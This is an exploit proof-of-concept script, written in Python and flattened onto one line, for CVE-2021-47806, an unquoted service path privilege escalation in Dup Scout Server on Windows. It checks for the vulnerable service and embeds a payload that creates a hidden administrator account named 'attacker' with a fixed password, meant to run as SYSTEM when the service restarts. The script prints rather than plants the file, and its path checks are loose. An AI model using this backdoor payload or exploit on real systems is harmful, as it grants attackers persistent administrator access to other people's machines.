CVE-2021-47806: Dup Scout Server未引号服务路径权限提升漏洞

# CVE-2021-47806 PoC - Dup Scout Server Unquoted Service Path # Author: VulnCheck Disclosure # This PoC demonstrates the unquoted service path vulnerability in Dup Scout Server import os import subprocess import sys def check_vulnerability(): """Check if Dup Scout Server is installed and vulnerable""" service_path = r'C:\Program Files\Dup Scout Server\bin\dupscts.exe' # Check if service executable exists if not os.path.exists(service_path): print("[-] Dup Scout Server does not appear to be installed") return False # Check if vulnerable path exists (without quotes) vulnerable_paths = [ r'C:\Program.exe', r'C:\Program Files\Dup Scout.exe', r'C:\Program Files\Dup Scout Server\bin\dupscts.exe' ] print("[+] Checking for exploitable paths...") for path in vulnerable_paths[:-1]: if not os.path.exists(path): print(f"[*] Path does not exist: {path}") print(f"[*] This path could be exploited if writable") return True def create_malicious_executable(): """Create a reverse shell payload as 'Dup Scout.exe'""" malicious_path = r'C:\Program Files\Dup Scout.exe' # Create a simple executable that creates a backdoor # In real attack, this would be a proper meterpreter/reverse shell payload_code = ''' import os import subprocess # Create admin user for persistence try: subprocess.run(['net', 'user', 'attacker', 'P@ssw0rd123', '/add'], capture_output=True) subprocess.run(['net', 'localgroup', 'Administrators', 'attacker', '/add'], capture_output=True) print("Backdoor user created successfully") except Exception as e: print(f"Error: {e}") ''' print(f"[*] Malicious executable would be placed at: {malicious_path}") print("[*] When Dup Scout service restarts, this file will be executed with SYSTEM privileges") def main(): print("=" * 60) print("CVE-2021-47806 - Dup Scout Server Unquoted Service Path Exploit") print("=" * 60) if os.name != 'nt': print("[-] This exploit only works on Windows systems") return if check_vulnerability(): print("[+] Dup Scout Server appears to be installed") create_malicious_executable() print("\n[!] Note: Actual exploitation requires write access to Program Files directory") print("[!] Default Windows permissions on Program Files prevent this attack") if __name__ == "__main__": main()